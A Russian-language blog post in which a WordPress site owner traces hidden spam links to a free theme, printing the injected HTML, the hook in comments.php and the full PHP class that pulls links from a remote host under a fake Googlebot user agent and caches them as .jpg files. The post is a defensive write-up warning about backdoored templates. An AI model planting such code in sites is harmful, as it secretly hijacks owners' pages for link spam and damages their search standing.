Без претензий на эксклюзивность…
Началось все лаконично, смотрел, как выводится в шаблоне плагин и наткнулся на код:
</div><!-- #comments --> <!-- wp-templates.ru/rules правила ссылки >> --> <div id="posts"> Продам <a href="http://ccyda_ru/credit/creditnye_karty_html">Кредитные карты</a> с пин кодом.</div> <noindex> <style>#posts{position:absolute;left:-1960px;}</style> </noindex> </div> <!-- end #main -->
Как то сразу забылось то, что искал и я быстро переключился на это кусочек содержимого. Зная, что на сайте (на главной странице) данная ссылка никогда не выводилась, да собственно с таким стилем и не могла выводиться, я начал искать откуда растут ноги. На первый момент пришло в голову три варианта.
1. Выводится через плагин из админки.
2. Выводится плагином мимо моих желаний.
3. Выводится из шаблона.
Первый сразу отмел т.к. в админке ссылку не мог поставить ни кто кроме меня, а я эту ссылку впервые вижу. Подумав над оставшимися двумя вариантами решил начать с шаблона, в принципе поиск фраз сразу во всем каталоге сайта убивает обоих зайцев. Запустил TC и задал поиск по всем файлам сайта, начиная с корневого каталога. К моему удивлению были найдены шесть файлов с расширением .jpg полностью они имели примерно одинаковый вид 6666cd76f96956469e7be39d750cc7d9.jpg. Через просмотрщик они не открылись, но зато открылись через блокнот. И я увидел в нем код:
<!-- wp-templates.ru/rules правила ссылки >> --> <div id="posts"> Продам <a href="http://ccyda_ru/credit/creditnye_karty_html">Кредитные карты</a> с пин кодом.</div> <noindex> <style>#posts{position:absolute;left:-1960px;}</style> </noindex>
Данный кусок выводился между двумя комментами:
</div><!-- #comments --> ………………………………………… </div> <!-- end #main -->
С этого и решил начать поиск. В TC задал поиск с содержимым <!— #comments —> по всем файлам. Нашелся comments.php и в самом его конце после </div><!— #comments —> присутствовал код :
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
Тут он и выводился в шаблон. По строке require_once(‘functions.php’) стало понятно, что дальше надо смотреть functions.php. В нем и нашлось искомое. В самом начале файла :
error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig_net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } }
Эта беда и выводила чужие ссылки на страницы сайта. Решил посмотреть что же за сайт wpconfig_net. Сайт есть, но открывается пустая страница. Решил поискать в сети, что же пишут про эту беду. Информации набралось много. Цитата с одного из:
Рассмотрим шаблоны от wp-templates_ru . Во все шаблоны, представленные на их сайте, вставлен код, который в последствие вставляет самые разнообразные ссылки на Ваш сайт — это может быть линкопомойка, либо же ссылками с Вашего сайта будут торговать на биржах ссылок без Вашего участия. Этот код вставлен практически во все шаблоны, что говорит о том, что «автор» этого кода — администрация сайта. Кроме того, на сайте разрешено закачивать свои шаблоны со вставкой ссылки на свой сайт. Получается, что любой пользователь может сунуть ссылку в шаблон, записать в потайном месте вредоносный код или вирус, а Администрация сайта будет довольствоваться своим кодом, о котором мы написали Выше. В итоге Ваш сайт никогда не поднимется в поиске и будет чудом, если вообще будет индексироваться поисковыми системами. Согласитесь, неприятно.
Проблема найдена и устранена. Но найдена она была случайно. Как же быть. На самом деле не все так плохо. Нужно просто проверить сайт на наличие внешних ссылок и если снеди всех окажется чужая, то нужно заниматься ее поиском и удалением.
Проверить сайт на наличие внешних ссылок можно тут: Детектор бесполезных ссылок
В общем будьте бдительны с бесплатными шаблонами. Удачи.